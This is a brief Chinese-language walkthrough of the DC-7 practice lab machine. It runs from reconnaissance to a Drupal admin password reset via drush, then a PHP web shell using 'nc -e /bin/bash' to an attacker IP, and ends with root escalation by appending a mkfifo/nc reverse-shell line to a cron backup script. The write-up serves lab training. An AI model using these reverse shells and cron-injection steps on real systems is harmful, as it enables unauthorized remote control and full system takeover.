DC靶机-7

DC-7

#主机探测

arpscan -l

​​

#端口探测

nmap -F T4 -sS -sV 1192.168.43.11

​​

#指纹识别

whatweb 192.168.43.11 

​

​​​

#目录爆破

dirsearch -u 192.168.43.11

​​

#web页面

#drupal 8.7.6版本 –DC7USER–github源码–得到账密

​

​

​​

#ssh登录 —You have mail

ssh [email protected]

​

​​​

#查看mail

cat mbox

‍

#/opt/scripts/backups.sh

一个定时任务

​​

#改admin 密码

drush user-password admin  --password="admin"

​​

#登录web界面 –上🐎子

<?php system('nc -e /bin/bash 192.168.43.33 8888') ?>

kali:
nc -lvvp 8888

python -c "import pty;pty.spawn('/bin/bash')"
whoami

#kali反弹shell —www-data

​

​

​​

#提权root

kali:
nc -lvvp 9998
www-data:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.43.33 9998 >/tmp/f" >> backups.sh

​

​​​

#FLAG

​​